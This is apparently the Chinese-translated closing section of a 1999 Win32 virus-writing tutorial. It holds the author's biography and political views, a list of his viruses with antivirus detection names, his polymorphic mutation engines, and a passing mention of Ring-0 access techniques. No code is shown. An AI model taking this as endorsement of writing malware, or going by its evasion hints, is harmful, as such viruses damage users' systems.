【附录2:关于作者】
嗨:)我把这一节给了我自己。你可以说我自私,自大,或者hipocrite(【译者注】没见过这个词)。我知道我并不是这样的:)我只是想让你知道在这篇教程里试着教给你东西的人。我(仍然)是一个16岁的西班牙人。而且我有自己的世界观,我有自己的政治主见,我有信念,我想我们可以做些事情来拯救当今的病态的社会。我不愿生活在生活中充斥着钱的地方(任何生活形式,如,人类,动物,蔬菜...),民主被政府的人曲解了(这不仅仅是西班牙的问题,在许多大国也存在,如USA,UK,Frace,等等)。民主(我想共产主义会更好,但是如果没有比民主更好的东西...)必需使得国家的居民能够选择他们的未来。哎,我厌倦在我快要发布的东西里写这个了。看起来象在谈论一堵墙:)
OK,ok,我将谈一点我的作品。我是如下病毒(直到现在)的编写者:
+ 在DDT时,
- Antichrist Superstar [ Never released to the public ]
- Win9x.Garaipena [ AVP: Win95.Gara ]
- Win9x.Iced Earth [ AVP: Win95.Iced.1617 ]
+ 在iKX时,
- Win32.Aztec v1.00, v1.01 [ AVP: Win95.Iced.1412 ]
- Win32.Paradise v1.00 [ AVP: Win95.Iced.2112 ]
- Win9x.PoshKiller v1.00
- Win32.Thorin v1.00
- Win32.Legacy v1.00
- Win9x.Molly
- Win32.Rhapsody
还有, 从下面的变异引擎:
- LSCE v1.00 [Little Shitty Compression Engine]
- THME v1.00 [The Hobbit Mutation Engine]
- MMXE v1.00, v1.01 [MultiMedia eXtensions Engine]
- PHIRE v1.00 [Polymorphic Header Idiot Random Engine]
- iENC v1.00 [Internal ENCryptor]
而且我已经写了不少教程了,但是我不在这里列举了:)
现在,我是iKX组织的一个成员。正如你知道的,iKX代表International Knowledge eXchange。在过去,我是DDT的建立者。我称自己是反法西斯主义者,人类权利的保护者,反战主义者,而且对那些虐待妇女和儿童的家伙非常痛恨。我只是对自己有信心,我没有任何宗教信仰。
对我来说另外一件重要的事情(除了朋友)是音乐。在写这些东西的时候,我一直在听着音乐:)
想要更多的知道我和我的作品,看看我的主页。
【结束语】
~~~~~~~~~~
好了,另外一篇教程到它的结尾了...在某些方面它有点罗嗦(嗨,我是人,我更愿意编码而不是写作),但是在我的脑海中总是在希望一些人在读它的时候有一些想法。正如我在介绍里所说的,这里我所列出来的几乎所有代码都是我自己写的(不象我的DOS VWGs)。我希望它对你有帮助。
我知道我没有涉及一些东西,如加一个新节的隐藏方法,或者"调用门"技术或者"VMM 插入"以进入Ring-0。我只是努力使这篇教程简单。现在你必须判断这是否是一个正确的选择。时间将会证明一切。
这篇文档献给那些从我迈出Win32编码第一步起帮助过我的人:zAxOn, Super, nIgr0, Vecna, b0z0, Ypsilon, MDriller, Qozah,Benny, Jacky Qwerty(不知不觉的帮助,无论如何...),Lord Julus(是的,我也是从他的教程学的!), StarZer0,和许多其他人。当然了,还需要问候的人是are Int13h, Owl, VirusBuster, Wintermute, Somniun,SeptiC, TechnoPhunk, SlageHammer,还有,毫无疑问,我热爱的读者。这是为你们写的!
- Mejor morir de pie que vivir arrodillado - (Ernesto "Che" Guevara)
Valencia, 6 of September, 1999.
(c) 1999 Billy Belcebu/iKX |